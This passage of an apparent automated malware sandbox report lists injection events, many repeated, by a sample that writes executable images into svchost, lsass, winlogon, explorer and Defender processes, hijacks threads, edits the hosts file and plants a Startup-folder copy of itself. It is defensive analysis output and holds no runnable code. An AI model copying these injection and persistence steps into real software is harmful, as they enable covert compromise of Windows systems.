Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BA60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166940000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 3430000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D1777C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64500000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1FCD09E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BF745C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28DA5970000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F8C33E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 274E1D00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 249B79F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E148DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1AB29D40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1B9380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\SearchServices.exe base: 264CC240000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2067C650000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe base: 1C750000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\SearchServices.exe base: 21BB0180000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1FA15B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1FA15DE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 113DEDD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09F70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1E129570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1E1295A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 1E149600000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 27FC5240000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 266A9E90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1A845C00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1A845C50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 17279BF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 2B361400000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 24EEFF40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 24EF1D00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 27D79030000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 27D7AAD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1B0161B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: cmd.exe base: 1B016370000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1DD8F640000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 224C8880000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 224C89A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 21A94490000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\tasklist.exe base: 1B70EFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\tasklist.exe base: 1B710F10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1C4C29D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 215A07D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1D366380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1D3664A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 22FBF480000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1A54CBF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1A54CC40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1FDB5710000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 24CDE5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 24CDE610000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 21EDEDB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9A10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 22C72A90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 2117ABB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1EFFCFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 232C8580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1EFFD6B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F4D5660000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 2E131B70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 202C9380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20546460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20546490000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 2580 base: 3430000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe

Thread register set: target process: 7008

Jump to behavior

Modifies the hosts file

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Memory written: C:\Windows\System32\dialer.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAED80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BA60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166940000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 3430000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D1777C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64500000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1FCD09E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BF745C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28DA5970000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F8C33E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 274E1D00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 249B79F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E148DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1AB29D40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1B9380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\SearchServices.exe base: 264CC240000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2067C650000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe base: 1C750000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\SearchServices.exe base: 21BB0180000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1FA15B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09CD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1FA15DE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 113DEDD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09F70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1E129570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1E1295A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 1E149600000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 27FC5240000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 266A9E90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1A845C00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1A845C50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 17279BF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 2B361400000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 24EEFF40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 24EF1D00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 27D79030000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe base: 27D7AAD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1B0161B0000
Source: C:\Windows\System32\dialer.exe	Memory written: cmd.exe base: 1B016370000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1DD8F640000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 224C8880000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 224C89A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 21A94490000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\tasklist.exe base: 1B70EFD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\tasklist.exe base: 1B710F10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1C4C29D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 215A07D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1D366380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1D3664A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 22FBF480000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1A54CBF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1A54CC40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1FDB5710000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 24CDE5C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 24CDE610000
